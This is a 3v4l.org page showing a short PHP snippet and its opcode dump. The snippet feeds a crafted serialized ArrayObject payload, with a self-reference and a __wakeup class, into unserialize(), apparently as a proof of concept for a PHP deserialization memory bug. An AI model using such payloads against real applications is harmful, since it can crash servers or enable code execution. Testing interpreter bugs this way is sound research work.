3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $y; function __wakeup() { $this->y = 1; } } $inner = 'x:i:1;O:3:"obj":1:{s:1:"y";R:1;};m:a:1:{i:0;O:8:"stdClass":0:{}}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; var_dump(unserialize($exploit));
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/uQ89U
function name:  (null)
number of ops:  14
compiled vars:  !0 = $inner, !1 = $exploit
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   10     0  E >   ASSIGN                                                   !0, 'x%3Ai%3A1%3BO%3A3%3A%22obj%22%3A1%3A%7Bs%3A1%3A%22y%22%3BR%3A1%3B%7D%3Bm%3Aa%3A1%3A%7Bi%3A0%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D'
   11     1        STRLEN                                           ~3      !0
          2        CONCAT                                           ~4      'C%3A11%3A%22ArrayObject%22%3A', ~3
          3        CONCAT                                           ~5      ~4, '%3A%7B'
          4        CONCAT                                           ~6      ~5, !0
          5        CONCAT                                           ~7      ~6, '%7D'
          6        ASSIGN                                                   !1, ~7
   12     7        INIT_FCALL                                               'var_dump'
          8        INIT_FCALL                                               'unserialize'
          9        SEND_VAR                                                 !1
         10        DO_ICALL                                         $9      
         11        SEND_VAR                                                 $9
         12        DO_ICALL                                                 
         13      > RETURN                                                   1

Class obj:
Function __wakeup:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/uQ89U
function name:  __wakeup
number of ops:  3
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    6     0  E >   ASSIGN_OBJ                                               'y'
          1        OP_DATA                                                  1
    7     2      > RETURN                                                   null

End of function __wakeup

End of class obj.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
159.46 ms | 1395 KiB | 17 Q